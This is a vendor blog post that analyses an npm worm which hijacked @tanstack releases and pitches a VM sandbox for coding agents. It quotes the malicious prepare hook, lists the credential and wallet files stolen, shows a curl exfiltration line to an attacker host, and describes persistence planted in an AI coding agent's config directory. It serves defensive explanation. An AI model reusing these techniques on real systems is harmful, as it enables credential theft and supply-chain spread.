Back to all posts
Published on · by Renaud Deraison

The worm that writes itself into .claude

On May 11, 2026, an npm worm called Mini Shai-Hulud added an optionalDependencies line to 42 packages in the @tanstack namespace. Installing any of them ran a Bun script that grabbed an OIDC token from the GitHub Actions environment, used it to publish more compromised versions with valid SLSA provenance, copied itself into .claude/ for the next time the coding agent started, and exfiltrated everything from ~/.aws to your crypto wallet. The packages were signed. The attestation was valid. Here is what the chain looks like, and what changes when the agent that ran the install lives inside a per-task Bromure VM.

On May 11, 2026, between roughly 19:20 and 19:26 UTC, somebody pushed eighty-four malicious artifacts across forty-two @tanstack packages — including @tanstack/react-router, the routing library twelve million npm install lines pull every week. The packages were signed by TanStack's real release pipeline, carrying valid SLSA provenance, because the worm did not steal a publisher token. It hijacked the publisher's GitHub Actions runner mid-build. And before it left, on every machine that installed one of the bad versions, it wrote a persistence copy of itself into .claude/.

There is a kind of supply-chain attack that gets written up because somebody stole a maintainer's password. This is not one of those. The version of Mini Shai-Hulud that Aikido, Socket, Wiz, and Snyk all caught on Monday night did not need a password. It needed a developer somewhere to type npm install on a project that depended, transitively, on @tanstack/react-router. The rest — including the bit where TanStack's own CI minted the signature on the malicious release — was automatic.

The mechanics matter, because the mechanics are what make this attack a question about what the coding agent on your laptop has the keys to, rather than a question about npm. So let us walk the chain.

The line of JSON.

The first malicious @tanstack/react-router build, version 1.169.5, shipped a package.json containing exactly this:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

A Git URL, not an npm package. A pinned commit, not a version range. That commit's package.json, in turn, contained:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

When npm installs a Git dependency, it runs the dependency's prepare script. This is not a bug; it is the documented contract, because Git dependencies are usually source, and source usually needs a build. The && exit 1 is the clever part: it makes the optional dependency fail to install, which means npm does not record it in package-lock.json, which means a victim auditing the lockfile a day later sees nothing wrong. The payload ran. The lockfile is clean.

The runtime, by the way, is Bun. Not Node. npm will install Bun for you on demand, so the worm does not even have to bring its own. There is nothing wrong with Bun — it is a perfectly reasonable JavaScript runtime — but its presence gives obfuscated code a slightly less crowded toolchain to hide inside, and that is, for the moment, what the attacker wants.

What the runner does once it is running.

Three files. Each one is independently bad.

router_init.js is the credential stealer. It walks the disk for the usual suspects — ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.ssh/*, and any dotfile whose name contains the word token — plus the list that distinguishes this attack from the supply-chain incidents of 2022: the on-disk vaults of browser-extension wallets (MetaMask, Phantom, Keplr), the local session files of Cursor and Windsurf, the agent's own token sitting in the environment of the parent process, and any MCP server configuration files in the project tree. Whatever it finds, it tars, encrypts, and ships to filev2.getsession.org/file/, an attacker-controlled drop hosted behind an otherwise legitimate file-sharing service so the egress looks like a curl to a CDN.

tanstack_runner.js is the propagator. Once it has stolen the victim's npm token, it enumerates the packages that token can publish, repacks each tarball with the malicious optionalDependencies line spliced into package.json, bumps the version, and republishes. This is the part that makes Mini Shai-Hulud a worm rather than a single bad package: every maintainer who installs a compromised dependency potentially becomes the next attacker.

router_runtime.js is the persistence copy. Socket's teardown notes that the runner writes a copy of itself into the .claude/ subdirectory of whatever project it is sitting in, because .claude/ is the directory Claude Code reads on startup for project-scoped settings, slash commands, and tool configurations. The next time the developer opens that repo in Claude Code — or worse, the next time their coding agent autonomously cracks open the repo on a freshly checked-out machine — the persistence file is already in the agent's working tree. The worm is patient.

The OIDC trick: how a malicious package got valid SLSA provenance.

Here is the part that should keep anyone running a release pipeline up at night. The compromised @tanstack/[email protected] arrived on npm with valid SLSA provenance. Sigstore signed it. GitHub's attestation API blessed it. If you scripted a check that said "only install packages with provenance," you would have installed it anyway.

The reason is mechanical. SLSA provenance does not say "this code is safe." It says "this artifact was built by the workflow whose OIDC identity signed it." For that to be a security signal, the workflow itself has to be uncompromised. In this case the workflow was TanStack's real release workflow — but a step earlier in the same job ran a dependency whose own install script (here, the prepare script of a malicious package that TanStack's own dependency tree already contained a worm-injected version of) had executed inside the runner. The runner is one process tree. The runner has the environment variable ACTIONS_ID_TOKEN_REQUEST_TOKEN and the URL ACTIONS_ID_TOKEN_REQUEST_URL, which is how legitimate workflows mint short-lived OIDC tokens. So does anything else that runs in that process tree. The worm called the same endpoint, got a token scoped to TanStack's repository, used it to publish, and Sigstore signed the result because, from Sigstore's perspective, TanStack published. Socket's writeup is blunt about it: "Do not trust Sigstore provenance badges alone as a security signal."

This is the same lesson as the LiteLLM and Bitwarden CLI incidents we wrote about two weeks ago, restated in a registry that thought it had locked the front door. The lockfile is not a defense if the payload is in prepare. The signature is not a defense if the signer's runner is the payload.

What the chain looks like end to end.

DEVELOPER LAPTOP — host filesystem visible to whatever the agent runsCODING AGENT$ claude> add router to apptool: bashnpm i @tanstack/react-router↳ optionalDep fails (good!)↳ prepare ran anywaynpm REGISTRY@tanstack/react-router 1.169.5 signature: VALID SLSA provenance: okoptionalDependencies: github:tanstack/routerprepare → bun run tanstack_runner.jsrouter_init.js→ sweep host secretstanstack_runner.js→ republish using npm tokenrouter_runtime.js→ copy into .claude/reads: ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, MetaMask vault, cursor/windsurf sessionsHOST FILESYSTEM — all real, all readable by the prepare script~/.aws/credentialsAKIA… real~/.npmrc_authToken (republish here)$GH_TOKEN, ~/.config/gh/hosts.ymlghp_… real~/.ssh/id_ed25519private key on disk~/Library/.../MetaMask/vault.json — encrypted, exfiltrated, brute-forced~/Library/.../Cursor/workspace state, agent tokensPERSISTENCE./project/.claude/ router_runtime.jsloaded next time the agentopens this repoalso: ./node_modules/.bin/*also: ~/.bashrc tailEXFILTRATIONtar | aes-256 | curl -X POST https://filev2.getsession.org/file/looks like an ordinary upload to a file-sharing host. egress firewall sees a CDN-shaped request.
The chain on a developer machine where the coding agent runs npm install directly. The lockfile is clean because the malicious dependency fails on purpose. The prepare script of a Git URL fetches three obfuscated Bun scripts that (a) sweep ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, browser-extension wallet vaults, and Cursor/Windsurf session files; (b) use the stolen npm token to republish more compromised packages; (c) write a persistence copy into .claude/ so the next agent session loads it. The exfil POST goes to filev2.getsession.org. No 0day, no escalation; the agent installs the package the agent was told to install.

The picture has two properties worth dwelling on, because they are the properties that decide which mitigations work and which don't.

The first is that every file the worm reads is a file the user put there for the user. Nobody chose to give a routing library access to ~/.aws/credentials. The reason it has access is that the shell that ran npm install has access, because the developer who sat in front of that shell has access, and that is how Unix works. The agent is, mechanically, an extension of the developer's hands. It inherits the developer's reach.

The second is that the destructive step is not the credential theft. It is the persistence write into .claude/. A pure credential heist is a one-shot weapon — rotate the keys and you are done. A persistence file inside the agent's project-scoped config directory means the next coding session, on a freshly checked-out machine, on a different developer, runs the worm again, with that developer's keys, on that developer's machine. The blast radius is not a laptop. It is the team.

The same chain inside Bromure Agentic Coding.

Bromure Agentic Coding is the configuration in which the coding agent — Claude Code, Cursor's CLI, the Codex CLI, Aider, whichever you prefer — runs inside a per-task Bromure VM, with the project folder mounted in, and nothing else. The VM is the same disposable Linux guest a Bromure browser tab uses; the agent just lives in it for the lifetime of a task instead of for the lifetime of a page load.

Here is what that does to the chain above, file by file.

BROMURE VM — disposable guest the coding agent runs insideCODING AGENT (in VM)$ claude> add router to apptool: bashnpm i @tanstack/react-router↳ prepare runs↳ inside the guestGUEST FILESYSTEM — stubs and absences~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directoryMetaMask, Phantom, Keplr vaultsnot installed in guestCursor/Windsurf session filesnot on diskPERSISTENCE./project/.claude/ router_runtime.jswritten, but.claude/ is on theguest's CoW disk→ destroyed at resetHYPERVISOR — credential broker + egress proxymacOS HOST — real secrets, never crossed the boundaryREAL CREDENTIAL VAULTmacOS Keychainid_ed25519 (private)~/.aws/credentialsAKIA… (real)~/.config/gh/hosts.ymlghp_real…~/.npmrcnpm_… (real publish)~/Library/.../MetaMask/vault.json (real)~/Library/.../Cursor/agent sessions, tokens~/.bashrc, ~/.zshrcno persistence appendedEGRESS PROXY — observable, whitelistedgit push → api.github.com stub ghp_… ⇒ real ghp_… (whitelisted)npm publish → registry.npmjs.org stub npm token does not exist on host ⇒ publish 401 UnauthorizedPOST filev2.getsession.org not whitelisted ⇒ blocked, logged in session traceThe exfil attempt is visible to the proxy. The session trace records it. The VM goes away.
The same npm install, the same prepare script, the same three Bun runners, inside a per-task Bromure VM. router_init.js sweeps a guest filesystem that contains stubs (or, more often, nothing at all) where the host had real keys. tanstack_runner.js finds a stub npm token and cannot publish anything. router_runtime.js writes a persistence copy into a .claude/ directory that lives inside a disposable disk that is going to be deleted at task end. The exfil POST goes out — egress is brokered, so this attempt is observable and blockable, but even if it succeeds it carries stubs.

Mapping the worm's steps to where they die.

Walking the runner's three files against Bromure's boundaries, one at a time, is the part where this stops being a slogan and starts being a checklist.

router_init.js reaches for the keys.

The runner reads ~/.aws/credentials, ~/.npmrc, $GH_TOKEN, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json, and ~/.ssh/id_ed25519. Inside the Bromure VM, the first four are stubs — syntactically valid credential files containing strings that mean nothing on the public internet. The kubeconfig is also a stub (or absent, if you didn't configure a Kubernetes cluster for this task). The Docker config is a stub. The SSH private key is not on disk at all; the VM has a forwarded ssh-agent socket whose key material lives in the macOS Keychain on the host side of the hypervisor. The runner's cat ~/.ssh/id_ed25519 returns No such file or directory and the runner moves on.

What about MetaMask, Phantom, and Keplr? Those are browser extensions. Bromure does not install Chrome extensions in its browser at all — not in a "curated" or "sandboxed" way, just at all — and the per-task VM that runs your coding agent does not have a desktop wallet sitting on its filesystem either. The wallet vaults the runner is looking for live on your host, in your real browser profile, on the other side of a Linux/macOS boundary the runner cannot reach.

Cursor and Windsurf session files are an interesting middle case. If you are running your coding agent inside a Bromure agentic session, then "Cursor's session file" is the file inside this VM — which is a fresh VM whose only logged-in agent identity is the one you just provisioned for this task, scoped to this repo, valid for this task. The runner will exfiltrate that token. The token is good for one task on one repo. When the task ends, the token is rotated. The blast radius is what the agent was already allowed to do, which is not nothing — see below — but it is a long way from "the attacker now has my whole AI subscription."

tanstack_runner.js tries to republish.

The propagator's whole reason to exist is to use the victim's npm token to publish more compromised packages. Inside the VM, the npm token in ~/.npmrc is a stub. The egress proxy on the host knows about api.github.com and registry.npmjs.org for the real repo the user is currently working on, but it does not blindly forward publish requests against arbitrary unrelated packages with the host's real npm token. (If you don't intend to publish from this task, the proxy whitelist doesn't include npm at all.) The publish attempt comes back 401 Unauthorized, and the worm's propagation loop dies at the wire.

This is the difference between a credential broker and a bind mount. A container that mounts ~/.npmrc into itself gives the runner the real publish token. A VM that has a stub ~/.npmrc and a host-side proxy that knows the difference between "the agent is pushing to its own working repo" and "some script is republishing forty other packages I have never heard of" gives the runner a 401. Same input. Different topology.

router_runtime.js writes itself into .claude.

The persistence file is the move that converts a one-tab incident into a multi-tab pandemic, and it is the move Bromure Agentic Coding's disposable-disk model is structurally allergic to.

.claude/ lives inside the project tree, which on a Bromure agent session is mounted into the VM at the start of the task. So the worm successfully writes router_runtime.js into ./project/.claude/. That file is now part of your repo's working tree. It is also, depending on your task settings, either (a) inside the VM's disposable CoW disk and about to be deleted at the end of the session, or (b) on the host side of the mount and about to show up in git status. In case (a) the persistence is gone. In case (b) the persistence is sitting in front of the developer with a red diff next to it.

The case nobody wants is the silent one: the worm runs on the laptop, writes .claude/router_runtime.js, the file gets npm ignored by some inherited config, and the persistence sits there loading itself into every future Claude Code session in that repo because nobody ever looked. That is the case Bromure removes by default — because either the disk goes away, or the file is in the visible diff.

Why a container does not get you here.

The same objection applies as in the Bitwarden CLI writeup: you can put a coding agent inside a container, and for many day-to-day tasks that is genuinely an improvement over running it on the host. But the boundary is not where the worm cares.

To make a container useful for the things a coding agent does — to let it git push, gh pr create, npm install from a private registry, push images — you end up mounting ~/.ssh, ~/.npmrc, and the GitHub token into the container. The prepare script does cat ~/.ssh/id_ed25519 and gets the actual file. A bind mount is exactly the soft underbelly the worm was looking for, and it does not stop being a soft underbelly because Docker is involved.

The browser-extension wallets matter for the same reason. Once a container is configured to be useful for "scrape the docs site so I can summarize it" or "open a localhost preview" — common agentic tasks — its access to the host's real browser profile becomes the question. Bromure's per-task VM does not have your browser profile in it. It does not have your wallet in it. It does not have your LastPass-equivalent in it. The agent talks to a fresh, unbranded Chromium on the guest, which is, intentionally, nobody's main browser.

Where this does not save you.

Two places, and both deserve to be named so they are not surprises.

The agent can still ship bad code.

Nothing about a per-task VM stops an agent from being talked, by a poisoned README or an MCP server returning helpful-looking instructions, into committing a backdoor in your code and pushing it. The boundary protects credentials on your machine. It does not review the diff. Read the diff. The session trace makes it easier to know which diffs to read.

The egress whitelist is the whole game.

If your task whitelists npm publish to your own scope because you are publishing today, and you happen to install a worm today, the worm will publish under your scope. The brokering works because the whitelist is narrow. Narrow it on purpose. A task that does not need to publish should not be able to publish.

The clipboard is still shared by default.

Bromure ships with clipboard sharing between host and guest enabled, because pasting an error message into a chat is a thing humans need to do. If you are doing something sensitive inside a task, isolate the clipboard for that VM. The control is there. It is just not the default.

The trace is your audit log, not your IDS.

The session trace captures every shell command, file write, and outbound request. It does not, on its own, classify filev2.getsession.org as bad. It captures that the request was made, so that when somebody publishes a write-up like the Aikido one tomorrow morning, your grep is two seconds.

One last thing.

There is a version of this story where the answer is "audit your lockfile." The lockfile was clean. There is a version where the answer is "only install packages with provenance." The provenance was valid. There is a version where the answer is "use a container." The container has a bind mount.

The version that actually holds up to a worm whose payload runs before the lockfile is written and inside the publisher's own CI is the version where the agent doing the typing is sitting inside a disposable Linux VM whose host-side proxy holds the real keys. The npm registry contract does not change. The prepare hook still runs. Bun still boots. router_init.js still does its sweep. It just sweeps a guest whose secrets are not the user's secrets, and the disposable disk it tries to persist on is gone before the next coffee.

Bromure Agentic Coding is the configuration where that is the default. It is free, open-source, and shipped today. The next worm is already being uploaded.